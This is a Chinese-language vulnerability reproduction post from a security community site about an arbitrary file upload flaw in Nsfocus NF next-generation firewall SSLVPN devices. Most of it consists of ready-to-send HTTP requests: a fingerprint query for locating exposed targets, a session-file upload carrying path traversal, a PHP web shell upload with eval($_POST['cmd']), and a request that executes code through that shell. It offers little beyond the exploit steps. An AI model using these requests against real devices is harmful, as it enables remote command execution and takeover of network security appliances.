奇安信攻防社区-Nsfocus NF下一代防火墙任意文件上传漏洞

Nsfocus NF下一代防火墙任意文件上传漏洞

# Nsfocus NF下一代防火墙任意文件上传漏洞 ## 漏洞描述 Nsfocus SSLVPN 存在任意文件上传漏洞，攻击者通过发送特殊的请求包可以获取服务器权限，进行远程命令执行 ## 漏洞影响 Ns...

Nsfocus NF下一代防火墙 任意文件上传漏洞
=========================

漏洞描述
----

Nsfocus SSLVPN 存在任意文件上传漏洞，攻击者通过发送特殊的请求包可以获取服务器权限，进行远程命令执行

漏洞影响
----

Nsfocus SSLVPN

网络测绘
----

app="NSFOCUS-下一代防火墙"

漏洞复现
----

主页面

![img](https://shs3.b.qianxin.com/butian_public/f1365797871d1d8d3350456f9fa33a1d0895a0c9bfb70.jpg)

出现漏洞的端口为 8081

```python
POST /api/v1/device/bugsInfo HTTP/1.1
Content-Type: multipart/form-data; boundary=1d52ba2a11ad8a915eddab1a0e85acd9
Host:

--1d52ba2a11ad8a915eddab1a0e85acd9
Content-Disposition: form-data; name="file"; filename="sess_82c13f359d0dd8f51c29d658a9c8ac71"

lang|s:52:"../../../../../../../../../../../../../../../../tmp/";

--1d52ba2a11ad8a915eddab1a0e85acd9--
```

![image-20230812085235711](https://shs3.b.qianxin.com/butian_public/f33417724569c86b0452658f2f3847953a691a8e9a0d7.jpg)

```python
POST /api/v1/device/bugsInfo HTTP/1.1
Content-Type: multipart/form-data; boundary=4803b59d015026999b45993b1245f0ef
Host:

--4803b59d015026999b45993b1245f0ef
Content-Disposition: form-data; name="file"; filename="compose.php"

<?php eval($_POST['cmd']);?>

--4803b59d015026999b45993b1245f0ef--
```

![image-20230812085349551](https://shs3.b.qianxin.com/butian_public/f607499e0138403944ca25f9e565c3255212b6e16aa10.jpg)

```python
POST /api/v1/device/bugsInfo HTTP/1.1
Content-Type: multipart/form-data; boundary=4803b59d015026999b45993b1245f0ef
Host:

--4803b59d015026999b45993b1245f0ef
Content-Disposition: form-data; name="file"; filename="compose.php"

<?php eval($_POST['cmd']);?>

--4803b59d015026999b45993b1245f0ef--
```

![img](https://shs3.b.qianxin.com/butian_public/f392344ac737eb8719d341cc57863a901cd91fcc0834f.jpg)

```python
POST /mail/include/header_main.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID_NF=82c13f359d0dd8f51c29d658a9c8ac71
Host:

cmd=phpinfo();
```

发表于 2024-07-12 18:46:31
阅读 ( 1026 )
分类：Web应用

Nsfocus NF下一代防火墙 任意文件上传漏洞

0 条评论

Nsfocus NF下一代防火墙任意文件上传漏洞